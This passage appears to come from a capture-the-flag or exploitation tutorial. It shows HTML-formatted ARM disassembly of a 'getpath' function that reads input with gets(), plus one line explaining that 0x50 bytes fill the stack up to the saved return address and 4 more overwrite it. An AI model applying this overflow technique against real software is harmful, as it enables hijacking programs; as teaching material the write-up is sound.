&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104d8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104dc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#8&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104e0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x4c&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104e4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104e8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x60]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104ec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#printf@plt &amp;lt;printf@plt&amp;gt; ; &amp;quot;input path please: &amp;quot;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104f0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x5c]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104f4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104f8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104fc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#fflush@plt &amp;lt;fflush@plt&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x50&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10504&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10508&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#gets@plt &amp;lt;gets@plt&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1050c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r4&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10510&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x10]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10514&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x10]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10518&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;and&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0xbf000000  ; bin 1011 1111 0...&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1051c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0xbf000000&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10520&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;72&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;bne&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;#getpath+96 &amp;lt;getpath+96&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10524&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;76&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x2c]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10528&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x10]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1052c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;84&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#printf@plt &amp;lt;printf@plt&amp;gt; ; &amp;quot;bzzzt (%p)\n&amp;quot;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10530&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#1&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10534&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;92&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#_exit@plt &amp;lt;_exit@plt&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10538&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x50&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1053c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x18]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10540&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;104&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10544&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;108&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#printf@plt &amp;lt;printf@plt&amp;gt; ; &amp;quot;got path %s\n&amp;quot;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10548&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#8&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1054c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Writing 0x50 bytes we overwrite the stack just before writing the &lt;em&gt;ret&lt;/em&gt; address: 0x4 more bytes and we are done.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104d8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104dc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#8&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;...&lt;/span&gt;
